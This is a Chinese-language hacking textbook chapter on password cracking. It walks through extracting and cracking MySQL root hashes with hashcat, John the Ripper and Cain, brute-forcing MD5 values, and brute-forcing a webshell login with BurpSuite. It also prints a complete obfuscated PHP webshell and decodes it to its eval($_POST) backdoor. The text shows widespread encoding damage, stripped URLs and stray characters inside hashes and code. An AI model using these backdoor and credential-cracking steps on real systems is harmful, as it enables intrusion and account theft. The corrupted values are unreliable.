版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
實(shí)戰(zhàn)中常見的加密與解密第一節(jié)Access數(shù)據(jù)庫(kù)破解實(shí)戰(zhàn)第二節(jié)MySQL數(shù)據(jù)庫(kù)密碼破解第三節(jié)MD5加密與解密第四節(jié)使用BurpSuite破解Webshell密碼第五節(jié)對(duì)某加密一句話Webshell的解密第六節(jié)SSH滲透之公鑰私鑰利用第七節(jié)Hashcat密碼破解
第一節(jié)Access數(shù)據(jù)庫(kù)簡(jiǎn)介
1.?Access數(shù)據(jù)庫(kù)的主要特點(diǎn)(1)存儲(chǔ)方式單一。(2)面向?qū)ο蟆?3)界面友好、易操作。(4)集成環(huán)境、處理多種數(shù)據(jù)信息。(5)Access支持ODBC(開發(fā)數(shù)據(jù)庫(kù)互連,OpenDataBaseConnectivity),利用Access強(qiáng)大的DDE(動(dòng)態(tài)數(shù)據(jù)交換)和OLE(對(duì)象的聯(lián)接和嵌入)特性,可以在一個(gè)數(shù)據(jù)表中嵌入位圖、聲音、Excel表格、Word文檔,還可以建立動(dòng)態(tài)的數(shù)據(jù)庫(kù)報(bào)表和窗體等。2.?Access數(shù)據(jù)庫(kù)的缺點(diǎn)和局限性Access是一種桌面數(shù)據(jù)庫(kù),適合數(shù)據(jù)量少的應(yīng)用,在處理少量數(shù)據(jù)和單機(jī)訪問時(shí)是很好用的,效率也很高,但在處理海量數(shù)據(jù)時(shí)效率會(huì)受到極大影響。5.1.2Access密碼實(shí)戰(zhàn)破解實(shí)例1.選擇需要破解的Access數(shù)據(jù)庫(kù)文件筆者推薦一款A(yù)ccess數(shù)據(jù)庫(kù)密碼破解工具——“Access數(shù)據(jù)庫(kù)特殊操作”,如圖5-1所示,運(yùn)行“Access數(shù)據(jù)庫(kù)特殊操作”后,在軟件窗口中選擇“破解Access密碼”,然后在Access文件路徑中選擇需要破解的文件,也可以直接輸入Access文件路徑。2.獲取數(shù)據(jù)庫(kù)密碼單擊“破解密碼”,軟件很快就將Access數(shù)據(jù)庫(kù)的密碼給破解出來(lái)了,如圖5-2所示,Access版本為97.3.51,密碼為“91459”。3.刪除數(shù)據(jù)庫(kù)密碼在軟件窗口中單擊“刪除Access的密碼”,如果前面選擇過數(shù)據(jù)庫(kù),則在數(shù)據(jù)庫(kù)路徑中會(huì)顯示上次所操作的數(shù)據(jù)庫(kù),同時(shí)顯示數(shù)據(jù)庫(kù)的密碼,單擊“刪除密碼”將加密的數(shù)據(jù)庫(kù)密碼刪除掉,如圖5-3所示。除了破解Access密碼以外,該軟件還有一個(gè)實(shí)用功能可以用來(lái)壓縮數(shù)據(jù)庫(kù)大小。Access數(shù)據(jù)庫(kù)持續(xù)運(yùn)行時(shí)間長(zhǎng)了以后,文件本身會(huì)增加一些無(wú)用的信息,導(dǎo)致數(shù)據(jù)文件非常大,而對(duì)Access數(shù)據(jù)庫(kù)來(lái)說當(dāng)數(shù)據(jù)庫(kù)大小超過30M以后就會(huì)影響性能,50M以后會(huì)嚴(yán)重影響性能,因此當(dāng)數(shù)據(jù)庫(kù)太大時(shí)就需要壓縮,在該軟件主界面中單擊“壓縮Access數(shù)據(jù)庫(kù)”,如圖5-4所示,選擇數(shù)據(jù)庫(kù)文件后單擊壓縮數(shù)據(jù)庫(kù)即可。
第二節(jié)MySQL數(shù)據(jù)庫(kù)密碼破解
5.2.1MySQL加密方式(1)以MySQL323方式加密:SELECTOld_Password('');查詢結(jié)果:MYSQL323=10c886615b135b38(2)以MySQLSHA1方式加密:SELECTPassword('');查詢結(jié)果:MySQLSHA1=*A2EBAE36132928537ADA8E6D1F7C5C5886713CC2執(zhí)行結(jié)果如圖5-5所示。5.2.2MySQL數(shù)據(jù)庫(kù)文件結(jié)構(gòu)1.?MySQL數(shù)據(jù)庫(kù)文件類型MySQL數(shù)據(jù)庫(kù)文件共有frm、MYD和MYI三種文件,.frm是描述表結(jié)構(gòu)的文件,.MYD是表的數(shù)據(jù)文件,.MYI是表數(shù)據(jù)文件中任何索引的數(shù)據(jù)樹。2.?MySQL數(shù)據(jù)庫(kù)用戶密碼文件在MySQL數(shù)據(jù)庫(kù)中所有的設(shè)置信息默認(rèn)都保存在“C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql”中,也就是安裝程序的data目錄下,如圖5-6所示,有關(guān)用戶信息的一共有三個(gè)文件即user.frm、user.MYD和user.MYI,MySQL數(shù)據(jù)庫(kù)的用戶密碼都保存在user.MYD文件中,包括root用戶和其他用戶的密碼。5.2.3獲取MySQL密碼哈希值使用UltraEdit-32編輯器直接打開user.MYD文件,打開后使用二進(jìn)制模式進(jìn)行查看,如圖5-7所示,可以看到在root用戶后面是一串字符串,選中這些字符串將其復(fù)制到記事本中,這些字符串即為用戶加密值,即506D1427F6F61696B4501445C90624897266DAE3。注意:(1)?root后面的“*”不要復(fù)制到字符串中。(2)在有些情況下需要往后面看看,否則得到的可能不是完整的MySQLSHA1密碼,正確的密碼位數(shù)是40位。(3)如果是在JohntheRipperpasswordcracker中進(jìn)行密碼破解,則需要帶“*”。5.2.4網(wǎng)站在線密碼破解(1)?破解。將獲取的MySQL密碼值放在網(wǎng)站中進(jìn)行查詢,在這個(gè)網(wǎng)站中MySQL密碼破解一般都是收費(fèi)的,成功破解一次需要花費(fèi)0.1元。(2)?破解。是后來(lái)出現(xiàn)的一個(gè)免費(fèi)破解網(wǎng)站,每次破解需要手動(dòng)選擇圖形碼進(jìn)行破解,破解速度快、效果好,只是每次只能破解一個(gè),而且破解一次后需要重新輸入驗(yàn)證碼。5.2.5hashcat破解hashcat支持很多種破解算法,這是一款免費(fèi)的開源軟件,官方網(wǎng)站為/?hashcat/,破解命令如下:hashcat64.exe-m200myql.hashpass.dict//破解MySQL323類型hashcat64.exe-m300myql.hashpass.dict//破解MySQL4.1/MySQL5類型5.2.6JohntheRipper密碼破解JohntheRipper軟件下載地址為/john/h/john179w2.zip,JohntheRipper除了能夠破解Linux系統(tǒng)密碼外,還能破解多種文件加密格式的密碼,如圖5-8所示,在Kali下測(cè)試破解MySQL密碼。破解命令如下:Echo*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txtJohn-format=MySQL-sha1hashes.txtjohn--list=formats|grepMySQL//查看支持MySQL密碼破解的算法5.2.7使用Cain&Abel破解MySQL密碼1.將MySQL用戶密碼字符串加入到Cain破解列表使用Cain&Abel來(lái)破解MySQL數(shù)據(jù)庫(kù)用戶密碼,Cain&Abel是一個(gè)可以破解屏保、PWL密碼、共享密碼、緩存口令、遠(yuǎn)程共享口令、SMB口令、支持VNC口令解碼、CiscoType-7口令解碼、Base64口令解碼、SQLServer7.0/2000口令解碼、RemoteDesktop口令解碼、AccessDatabase口令解碼、CiscoPIXFirewall口令解碼、CiscoMD5解碼、NTLMSessionSecurity口令解碼、IKEAggressiveModePre-SharedKeys口令解碼、Dialup口令解碼、遠(yuǎn)程桌面口令解碼等密碼的一個(gè)綜合工具,還可以遠(yuǎn)程破解、加載字典以及暴力破解,其Sniffer功能極其強(qiáng)大,幾乎可以明文捕獲一切賬號(hào)口令,包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKEAggressiveModePre-SharedKeysauthentications等。下載Cain&Abel后,直接安裝,然后運(yùn)行,在Cain&Abel主界面中單擊“Cracker”標(biāo)簽,然后將用戶密碼的加密字符串“506D1427?F6F61696B4501445C90624897266DAE3”加入到MySQLHashes破解列表中,如圖5-9所示,單擊“Addtolist”,如圖5-10所示,將字符串復(fù)制到Hash輸入框中。Username可以任意輸入。2.使用字典進(jìn)行破解如圖5-11所示,選中剛才添加的需要破解的字符串,然后選擇“DictionaryAttack(字典破解)”,在彈出的菜單中選擇“MySQLSHA1Hashes”方式進(jìn)行破解,該方式針對(duì)的是MySQL4.1的后續(xù)版本,對(duì)于MySQL4.1以前版本則選擇“MySQLv3.23Hashes”進(jìn)行破解。選擇DictionaryAttack(字典破解)”后會(huì)出現(xiàn)一個(gè)窗口,主要用于選擇字典,如圖5-12所示,在Dictionary下方右鍵單擊,可以添加一個(gè)或者多個(gè)字典文件,字典選擇完畢后可以在“Options(選項(xiàng))”中進(jìn)行選擇,然后單擊“Start”進(jìn)行破解。破解成功后Cain會(huì)給出一些提示信息,如下所示:Plaintextofuser<none>isdatabasepasswordAttackstopped!1of1hashescracked這些信息表示加密的密碼是“databasepassword”?;氐紺ain破解主窗口中后,破解的密碼值會(huì)自動(dòng)加入到“Password”列中,如圖5-13所示,便于用戶查看。3.破解探討1)字典破解跟字典強(qiáng)度有關(guān)單擊“開始”→“程序”→“MySQL”→“MySQLServer5.0”→“MySQLCommandLineClient”打開MySQLCommandLineClient,輸入密碼后,輸入以下代碼重新設(shè)置一個(gè)新密碼:usemyswupdateusersetpassword=password("1977-05-05")whereuser="root";flushprivileges;本試驗(yàn)將原來(lái)的密碼修改為“1977-05-05”,其結(jié)果如圖5-14所示。再次使用UltraEdit-32軟件重新打開“C:\ProgramFiles\MySQL\MySQLServer5.0\data\MySQL\user.MYD”獲取其新的密碼字符串為“B046BBAF61FE3BB6F60?CA99AF39F5C2702F00D12”,然后重新選擇一個(gè)字典,在本例中選擇生成的生日字典,如圖5-15和圖5-16所示,僅選擇小寫字符串進(jìn)行破解,很快就獲取了破解結(jié)果。實(shí)際結(jié)果表明使用Cain來(lái)破解MySQL密碼,如果是采用字典破解,那么破解效果跟字典強(qiáng)度有關(guān),只要破解的密碼在字典中,就一定能夠破解。2)使用彩虹表進(jìn)行破解在Cain中還提供彩虹表破解MySQL,在破解方式中選擇“CryptanalysisAttack”→“MySQLSHA1HashesviaRainbowTables”即可,如圖5-17和圖5-18所示,在實(shí)際測(cè)試過程中由于網(wǎng)絡(luò)上提供的SHA彩虹表格式是RTI,而Cain中使用的是RT,因此此處將下載的所有彩虹表中的文件后綴由RTI修改為RT,然后進(jìn)行破解,提示信息顯示破解不成功,應(yīng)該是彩虹表的格式不一樣,Cain只認(rèn)它自己提供的文件格式。3)?Hash值計(jì)算器在Cain中提供了各種Hash計(jì)算,在主界面中單擊計(jì)算機(jī)圖標(biāo)按鈕,即可彈出Hash計(jì)算器,在“Texttohash”中輸入需要轉(zhuǎn)換的原始值,例如輸入“12345678”,單擊“Calculate”進(jìn)行計(jì)算,如圖5-19所示,可以看到14種Hash值。4)生成彩虹表在Cain的安裝目錄C:\ProgramFiles\Cain\Winrtgen中直接運(yùn)行Winrtgen,如圖5-20所示,該工具為彩虹表生成器,可以很方便地生成各種類型的彩虹表值。5)設(shè)置彩虹表在圖5-20中單擊“AddTable”并在“RainbowTableproperties”中的Hash中選擇“MySQLsha1”,然后可以根據(jù)實(shí)際情況分別設(shè)置“MinLen”、“MaxLen”、“Index”、“Chainlen”、“ChainCount”以及“Noftables”的值,一般情況下僅需要設(shè)置“MinLen”、“MaxLen”以及“Noftables”的值。“Noftables”主要用來(lái)測(cè)試Hashes生成的完整度,輸入不同的值,會(huì)在Tableproperties中顯示百分比,通過嘗試來(lái)確定一共需要生成多少個(gè)表,然后單擊“Benchmark”進(jìn)行時(shí)間估算,如圖5-21所示,單擊“OK”完成彩虹表生成設(shè)置。在彩虹表生成器中,單擊“Start”開始生成彩虹表,如圖5-22所示,在Status中會(huì)顯示生成彩虹表的大小和進(jìn)度。6)快速破解對(duì)于16位的MySQL密碼(MySQL323加密算法)還有一種快速破解方式,編譯以下程序,直接進(jìn)行破解,可以破解8位以下數(shù)字、字符等密碼。使用方法:./MySQLfast6294b50f67eda209破解效果如圖5-23所示。
第三節(jié)MD5加密與解密
5.3.1MD5加解密簡(jiǎn)介MD5密文破解(解密)是網(wǎng)絡(luò)攻擊中一個(gè)必不可少的環(huán)節(jié),是黑客工具中的一個(gè)重要“輔助工具”。MD5解密主要用于網(wǎng)絡(luò)攻擊,在對(duì)網(wǎng)站等進(jìn)行入侵過程中,有可能獲得管理員或者其他用戶的賬號(hào)和密碼值(MD5加密后的值)。獲得的密碼值有兩種情況,一種是明文,另外一種就是對(duì)明文進(jìn)行了加密。5.3.2在線網(wǎng)站生成及破解MD5密碼1.通過cmd5網(wǎng)站生成MD5密碼在瀏覽器中輸入網(wǎng)址“/”,在密文框中輸入想要加密的原始密碼,然后單擊查詢即可,如圖5-24所示,原始密碼為“goodman88”,加密后的密碼值為:MD5(goodman88,32)=d5a8e0b115259023faa219f5b53ca522MD5(goodman88,16)=15259023faa219f5作為實(shí)驗(yàn)數(shù)據(jù),我們?cè)偕梢唤M生日的md5密碼如下:MD5(19801230,32)=2540bb62336a8eb3ebc1e42ee44c8e3dMD5(19801230,16)=336a8eb3ebc1e42e2.通過cmd5網(wǎng)站破解MD5密碼在cmd5網(wǎng)站的輸入框中輸入剛才加密后的值“d5a8e0b115259023faa219f5b53ca522”,然后單擊“md5加密或解密”按鈕即可,如圖5-25所示,未能成功破解。將第二個(gè)加密后的MD5值“2540bb62336a8eb3ebc1e42ee44c8e3d”,放入cmd5網(wǎng)站進(jìn)行破解,很快結(jié)果就出來(lái)了,如圖5-26所示。5.3.3使用字典暴力破解MD5密碼值1)再次生成MD5密碼值再在cmd5網(wǎng)站生成原密碼為“jimmychu246”的MD5密碼值:MD5(jimmychu246,32)=437f4fffb6b2e5aaca9fd1712b8ad282MD5(jimmychu246,16)=b6b2e5aaca9fd171直接運(yùn)行MD5crack4,運(yùn)行界面如圖5-28所示。2)在MD5crack4中驗(yàn)證MD5值將需要破解的MD5值(437f4fffb6b2e5aaca9fd1712b8ad282)粘貼到“SingleCryptograph(破解單個(gè)密文)”輸入框中,如圖5-29所示,如果該md5值是正確的,則會(huì)在輸入框下方顯示黑色的“valid(有效)”,否則會(huì)顯示灰色的“valid”。3)使用字典進(jìn)行破解在“PlaintextSetting(字符設(shè)置)”中選擇“Dictionary(字典)”,并在“No.1”、“No.2”以及“No.3”中選擇三個(gè)不同的字典,選擇完畢后,單擊“Start”按鈕開始md5破解,破解結(jié)束后會(huì)給出相應(yīng)的提示,如圖5-30所示,在本案例中使用字典破解成功,在Result中顯示破解的密碼為“jimmychu246”。4)使用“CharMuster(字符集)”中的數(shù)字進(jìn)行破解將上面生成的數(shù)字MD5值“336a8eb3ebc1e42e”放入單一MD5密碼破解輸入框中,選中“CharMuster”后,依次可以選擇“Number”、“l(fā)owercase”、“majuscule”、“specialchar”以及“custom”進(jìn)行破解,在本例中使用數(shù)字進(jìn)行破解,因此將“MinLength(最小長(zhǎng)度)”設(shè)置為“1”,“MaxLength(最大長(zhǎng)度)”設(shè)置為“8”,然后單擊“Start”按鈕,使用數(shù)字進(jìn)行MD5破解,嘗試破解密碼為1~9999999之間的所有數(shù)字組合,如圖5-31所示,其密碼值破解成功,破解結(jié)果為“336a8eb3ebc1e42e--->[19801230]”。5.3.4MD5變異加密方法破解網(wǎng)站采用MD5變異加密,即password=md5(jiami(str)),jiami(str)定義如下:<%functionjiami(str)mima="*#$A.J>?;&%*&$C#%!@#JH+-\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADDEFW45485121WDQWD21DD5DWQ15QD1"fori=1tolen(str)newstr=newstr&Mid(str,i,1)ifi>len(mima)thennewstr=newstr&Mid(mima,i-len(mima),1)elsenewstr=newstr&Mid(mima,i,1)endifnextjiami=newstrendfunction%>原始密碼加密原理是,假如初始密碼為123456,通過jiami函數(shù)首先對(duì)初始密碼進(jìn)行長(zhǎng)度判斷,獲知長(zhǎng)度為6,依次取一位,然后插入自定義的加密字符串。經(jīng)過加密后密碼變?yōu)?#2$3A4.5J6>,然后再對(duì)字符串1#2$3A4.5J6>進(jìn)行md5加密。普通的6位密碼通過jiami算法重新加密后,將變?yōu)?2位密碼,通常的md5暴力破解基本對(duì)此無(wú)法破解。了解該加密方式后,可以針對(duì)該加密方式撰寫一段代碼,將密碼字典依次間隔插入“*#$A.J>?;&%*&$C#%!@#JH+-\)(HNKNDKJNKJDWNY*Y@H&A^BHJHJXNXMAX5454ADDEFW45485121WDQWD21DD5DWQ15QD1”字符串,然后進(jìn)行密碼比對(duì),在加密表中找到相同的md5值即為破解密碼。5.3.5一次破解多個(gè)密碼將需要破解的MD5密碼全部存放到一個(gè)txt文件中,每一個(gè)密碼獨(dú)立一行,然后在MD5Crack4中單擊“破解多個(gè)密文”,選擇剛才編輯的MD5密碼文件,如圖5-33所示,選擇一種破解方式,在本案例中選擇使用數(shù)字字典進(jìn)行破解,最后單擊“開始”按鈕開始破解。在MD5Crack4右下方會(huì)顯示破解結(jié)果,單擊“日志”可以查看MD5值校驗(yàn)等日志信息,單擊“結(jié)果”可以查看破解的結(jié)果,如圖5-34所示,在結(jié)果中會(huì)將MD5值與原始密碼進(jìn)行一一對(duì)應(yīng)。
第四節(jié)使用BurpSuite破解Webshell密碼
5.4.1應(yīng)用場(chǎng)景在滲透測(cè)試過程中,目標(biāo)有可能已經(jīng)被黑客入侵過,在掃描過程中會(huì)發(fā)現(xiàn)入侵者留下的Webshell等,但Webshell一般都有密碼,如圖5-35所示,如果能夠獲取密碼,那么就能順利進(jìn)入目標(biāo)系統(tǒng),Webshell有一句話型的也有大馬型的,本例場(chǎng)景為大馬型的Webshell。5.4.2BurpSuite安裝與設(shè)置Proxy(代理)——攔截HTTP/S的代理服務(wù)器,作為一個(gè)在瀏覽器和目標(biāo)應(yīng)用程序之間的中間人,允許用戶攔截、查看、修改在兩個(gè)方向上的原始數(shù)據(jù)流。1.設(shè)置代理服務(wù)器BurpSuite運(yùn)行需要Java支持,請(qǐng)先安裝Java環(huán)境,安裝Java環(huán)境后,打開IE瀏覽器,如圖5-36所示,單擊“設(shè)置”→“Internet選項(xiàng)”→“連接”→“局域網(wǎng)設(shè)置”→“代理服務(wù)器”,設(shè)置地址為“”,端口為“8080”。對(duì)Chrome瀏覽器則單擊“設(shè)置”→“高級(jí)設(shè)置”→“網(wǎng)絡(luò)”→“更改代理服務(wù)器設(shè)置”。2.查看BurpSuite代理狀態(tài)運(yùn)行BurpSuite,單擊“Proxy”→“Options”,如圖5-37所示,代理端口是8080,狀態(tài)為正在運(yùn)行,設(shè)置瀏覽器代理后,就可以成功抓取瀏覽器數(shù)據(jù)。3.攔截設(shè)置在“Proxy”中單擊“Intercept”,單擊“Interceptison”設(shè)置攔截為運(yùn)行,如圖5-38所示,再次單擊“Interceptisoff”表示攔截關(guān)閉。單擊“Forward”表示放行,單擊“Drop”表示丟棄。5.4.3破解Webshell密碼1.抓取密碼信息打開目標(biāo)Webshell地址/90sec.php,先隨意輸入一個(gè)密碼。提交后在BurpSuite中單擊“Forward”進(jìn)行放行,在BurpSuite中抓到了兩個(gè)數(shù)據(jù)包,第一個(gè)是瀏覽器訪問Webshell所發(fā)出的GET請(qǐng)求包。第二個(gè)是輸入密碼之后發(fā)送的POST請(qǐng)求,如圖5-39所示。選中“Method”為POST的記錄,單擊右鍵在彈出的菜單中選擇“SendtoIntruder”,把第二個(gè)POST請(qǐng)求包發(fā)送到Intruder(入侵者)中進(jìn)行破解,然后單擊“Intruder”進(jìn)行設(shè)置。2.設(shè)置密碼參數(shù)在“Position”菜單頁(yè)中選擇“Attacktype”(功能類型)為默認(rèn)Sniper即可,然后選中Cookie中下面部分,點(diǎn)擊右邊第二個(gè)Clear$按鈕,去掉$符號(hào),然后單擊“Add$”按鈕增加破解密碼參數(shù),如圖5-40所示,需要將密碼前面的值去掉,同時(shí)需要清除Cookie后面ASPSESSIONIDCATBRDTD=EMPJNHNALLEHBHIKGGFGENCM的$符號(hào)。3.設(shè)置破解密碼字典單擊“Payloads”,這里是密碼字典的一些配置。先單擊“Clear”清除前面的密碼字典設(shè)置,然后單擊“Load”從一個(gè)文件中導(dǎo)入密碼。如圖5-41所示,已經(jīng)導(dǎo)入了密碼字典。4.設(shè)置密碼提交錯(cuò)誤過濾信息單擊“Options”(選項(xiàng)),該頁(yè)主要設(shè)置錯(cuò)誤信息的過濾,如果是錯(cuò)誤的信息則繼續(xù)進(jìn)行破解,需要針對(duì)不同情況進(jìn)行相應(yīng)設(shè)置,如圖5-42所示,單擊“Clear”清除以前的默認(rèn)設(shè)置。在Webshell地址中隨便輸入一個(gè)密碼,如圖5-43所示,獲取錯(cuò)誤信息的反饋?lái)?yè)面,并獲取錯(cuò)誤關(guān)鍵字“密碼錯(cuò)誤不能登錄”。在“Add”按鈕后的輸入框中輸入“密碼錯(cuò)誤不能登錄”并添加,如圖5-44所示,至此密碼暴力破解設(shè)置完成。5.開始破解Webshell密碼單擊“Intruder”→“StartAttack”開始進(jìn)行攻擊測(cè)試,在攻擊響應(yīng)頁(yè)面中可以看到前面所設(shè)置的密碼發(fā)送的每一個(gè)請(qǐng)求。然后在“Status”中會(huì)返回狀態(tài),“302”代表成功,“200”代表返回正常。如圖5-45所示,密碼“00sujung”即為Webshell密碼。6.成功獲取Webshell在Webshell密碼框中輸入剛才破解的密碼“00sujung”,成功登錄Webshell,如圖5-46所示,成功破解Webshell密碼。
第五節(jié)對(duì)某加密一句話Webshell的解密
5.5.1源代碼分析在網(wǎng)站目錄下獲取的一句話后門文件,通過查看其源代碼,發(fā)現(xiàn)基本是一堆亂碼,根據(jù)經(jīng)驗(yàn)判斷應(yīng)該是一句話后面經(jīng)過變異以后的代碼5.5.2源代碼中用到的函數(shù)對(duì)代碼中的函數(shù)進(jìn)行統(tǒng)計(jì)和去重,主要使用函數(shù)有:1.substr函數(shù)substr(string,start,length),substr函數(shù)返回字符串的一部分,參數(shù)信息如下:string必需,規(guī)定要返回其中一部分的字符串。start 必需,規(guī)定在字符串的何處開始。正數(shù)值則在字符串的指定位置開始;負(fù)數(shù)則從字符串結(jié)尾開始的指定位置開始;0值則在字符串中的第一個(gè)字符處開始。length可選,規(guī)定被返回字符串的長(zhǎng)度,默認(rèn)是直到字符串的結(jié)尾。2.str_split函數(shù)str_split(string,length),str_split()函數(shù)把字符串分割到數(shù)組中,其參數(shù):string:必需,規(guī)定要分割的字符串。length:可選,規(guī)定每個(gè)數(shù)組元素的長(zhǎng)度,默認(rèn)是1。3.stripos()函數(shù)stripos()?函數(shù)查找字符串在另一字符串中第一次出現(xiàn)的位置(不區(qū)分大小寫)。4.trim()函數(shù)trim()函數(shù)移除字符串兩側(cè)的空白字符或其他預(yù)定義字符。5.strlen()函數(shù)strlen()函數(shù)返回字符串的長(zhǎng)度。6.str_replace()函數(shù)str_replace(find,replace,string,count),str_replace()函數(shù)以其他字符替換字符串中的一些字符(區(qū)分大小寫),其參數(shù)值:find:必需,規(guī)定要查找的值。replace:必需,規(guī)定替換find中的值的值。string:必需,規(guī)定被搜索的字符串。count:可選,對(duì)替換數(shù)進(jìn)行計(jì)數(shù)的變量。str_replace(find,replace,string,count)換一句話來(lái)解釋就是,從string中去查找(find),然后使用replace進(jìn)行替換,count是替換的次數(shù)。7.function()函數(shù)function()函數(shù)表示調(diào)用函數(shù)。5.5.3獲取Webshell密碼通過利用上面的函數(shù)對(duì)加密源代碼進(jìn)行解讀:其核心代碼為$j=$y("",$b($t));base64_dec(QGV2YWwoJF9QT1NUWydwcDY0bXFh0?HJMnm53?NjgnXSk7)QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMnm53NjgnXSk7為dbase64加密,解密后即可得到一句話加密的代碼:@eval($_POST['pp64mqa2x1rnw68']);運(yùn)行結(jié)果逐條分析<?php$xN=$xN.substr("iyb42str_relgP804",5,6); //獲取str_re$lvcg=str_split("muk9aw28wltcq",6);//獲取str_reArray([0]=>muk9aw[1]=>28wltc[2]=>q)$xN=$xN.substr("l9cdplacepArBE9dk",4,5); //獲取$xN值為str_replace$jl=stripos("epxwkl7f66tfkt","jl"); //值為0無(wú)意義$t=$t.substr("tQGV2YWwJcVu4",1,6); //$t值為QGV2YW$eia7=trim("j8l2wml46reen"); //值無(wú)意義$b=$b.substr("kbase64kBDt9L6nm",1,6); //$b值為base64$ig=trim("b39w0gnuli"); //值無(wú)意義$y=$y.$xN("rY","","crYrerYa");$y=$y.str_replace("rY","","crea"); //$y值為crea$yu1=str_split("bi1b87m8a0o6x",2);Array([0]=>bi[1]=>1b[2]=>87[3]=>m8[4]=>a0[5]=>o6[6]=>x) //值無(wú)意義$t=$t.$xN("xA6x","","wxA6xoJF9"); //$t值為woJF9QGV2YWwoJF9$nd=stripos("n65t88rxn02edj3f0","nd"); //值無(wú)意義0$b=$b.$xN("wI39","","_wI39dwI39ec"); //$b值為base64_dec$h8ps=str_split("kn9j9h4mhwgf3fjip",3); //值無(wú)意義$y=$y.substr("hyte_funwViSVE4J",2,6);create_fun$yf7=strlen("uehu49g6tg5ko"); //值無(wú)意義uehu49g6tg5ko$t=$t.$xN("fp","","QfpTfp1Nfp"); //$t值QT1N累加為QGV2YWwoJF9QT1N$m9=strlen("eul604cobk"); //值無(wú)意義eul604cobk$b=$b.substr("l0W1odelA1eSnEJ",4,3);base64_decode$h0bw=trim("n3e5h0cqtokvgob8tx"); //值無(wú)意義n3e5h0cqtokvgob8tx$y=$y.$xN("yb","","cybtio"); //$y值為create_functio$s7a=rtrim("auebyc9g4t5d8k"); //值無(wú)意義auebyc9g4t5d8k$t=$t.substr("bMs0nBh83UWyd",9,4); //$t值UWyd累加為QGV2YWwoJF9QT1NUWyd$d59q=stripos("cjvuckoy5wf3otea","d59q"); //值無(wú)意義0$y=$y.substr("nD9HxQSL8ngR",9,1); //$y值為create_function$l1=str_split("agqq09gbqn1",4); //值無(wú)意義09gbqn1$t=$t.$xN("w6o4","","wcDw6o4Yw6o40");//$t值為wcDY0QGV2YWwoJF9QT1NUWydwcDY0$py=stripos("lgy8htrrv1tc3","py"); //值無(wú)意義0$t=$t.$xN("eP32","","bXFeP32h"); //$t值為bXFhQGV2YWwoJF9QT1NUWydwcDY0bXFh$xp3d=stripos("ukl0nbnx9gt3","xp3d"); //值無(wú)意義0$t=$t.substr("ikJ00HJMngxc",7,5);//$t值為QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMn$dt2b=strlen("e4a5abuajw3vlcira"); //值無(wú)意義e4a5abuajw3vlcira$t=$t.substr("cdN1Kxem53NwmEh86BS",7,4);//$t值為QGV2YWwoJF9QT1NUWydwcDY0b?XFh0HJMnm53N$ubj=strlen("wghjnft2op5kx1c086t"); //值無(wú)意義wghjnft2op5kx1c086t$t=$t.substr("m4aoxdujgnXSkcxL4FWcYd",7,6);//$t值為QGV2YWwoJF9QT1NUWydwc?DY0bXFh0HJMnm53NjgnXSk$qx=strlen("rlqfkkftro8gfko7ya"); //值無(wú)意義rlqfkkftro8gfko7ya$t=$t.substr("r7y",1,1);//$t值為QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMnm53NjgnXSk7$mu=rtrim("ngdxwux5vqe1"); //值無(wú)意義ngdxwux5vqe1$j=$y("",$b($t)); //關(guān)鍵值代碼:base64_dec(QGV2YWwoJF9QT1NUWydwc?DY0bXF?h0HJMnm53NjgnXSk7)$bnlp=strlen("vufy0ak1fyav"); //值無(wú)意義12$sdh=str_split("wmnjvg3c7p0m",4); //值無(wú)意義vg3c7p0m$mb=ltrim("n52p1pgaepeokf"); //值無(wú)意義n52p1pgaepeokf$e0pw=rtrim("uu4mhgp5c9pna4egq"); //值無(wú)意義uu4mhgp5c9pna4egq$ugh=trim("rcpd3o9w99tio9"); //值無(wú)意義rcpd3o9w99tio9$grck=strlen("x5rix5bp1xky7"); //值無(wú)意義13$eo6t=strlen("ddi1h14ecuyuc7d"); //值無(wú)意義15$j();//base64_dec(QGV2YWwoJF9QT1NUWydwcDY0bXFh0HJMnm53NjgnXSk7)(),調(diào)用函數(shù)$dvnq=str_split("prm6giha1vro3604au",8); //值無(wú)意義1vro3604au$ug8=rtrim("ec8w52supb4vu8eo"); //值無(wú)意義ec8w52supb4vu8eo$rct=stripos("hxe6wo7ewd8me7dt","rct"); //值無(wú)意義0$ekqf=str_split("prf5y08e8flffw025j8",8); //值無(wú)意義$vyr=str_split("umpjcsrfg6h5nd6o45",9); //值無(wú)意義$wrf=rtrim("fyx99o7938h7ugqh"); //值無(wú)意義$q14=strlen("tc46osxl1st1ic2"); //值無(wú)意義functiono(){};$usf=strlen("fltcpxb7tfbjsmt"); //值無(wú)意義?>
第六節(jié)SSH滲透之公鑰私鑰利用
5.6.1公私鑰簡(jiǎn)介1.公鑰和私鑰的概念在現(xiàn)代密碼體制中加密和解密是采用不同的密鑰(公開密鑰),也就是公開密鑰算法(也叫非對(duì)稱算法、雙鑰算法),每個(gè)通信方均需要兩個(gè)密鑰,即公鑰和私鑰,這兩把密鑰可以互為加解密。2.公鑰和私鑰使用原則(1)一個(gè)公鑰對(duì)應(yīng)一個(gè)私鑰。(2)密鑰對(duì)中,讓大家都知道的是公鑰;只有自己知道的,是私鑰。(3)如果用其中一個(gè)密鑰加密數(shù)據(jù),則只有對(duì)應(yīng)的那個(gè)密鑰才可以解密。(4)如果用其中一個(gè)密鑰進(jìn)行解密數(shù)據(jù),則該數(shù)據(jù)必然是對(duì)應(yīng)的那個(gè)密鑰進(jìn)行的加密。(5)非對(duì)稱密鑰密碼的主要應(yīng)用就是公鑰加密和公鑰認(rèn)證,而公鑰加密的過程和公鑰認(rèn)證的過程是不一樣的。3.基于公開密鑰的加密過程比如有兩個(gè)用戶Alice和Bob,Alice想把一段明文通過雙鑰加密的技術(shù)發(fā)送給Bob,Bob有一對(duì)公鑰和私鑰,那么加密解密的過程如下:(1)?Bob將他的公開密鑰傳送給Alice。(2)?Alice用Bob的公開密鑰加密她的消息,然后傳送給Bob。(3)?Bob用他的私人密鑰解密Alice的消息。4.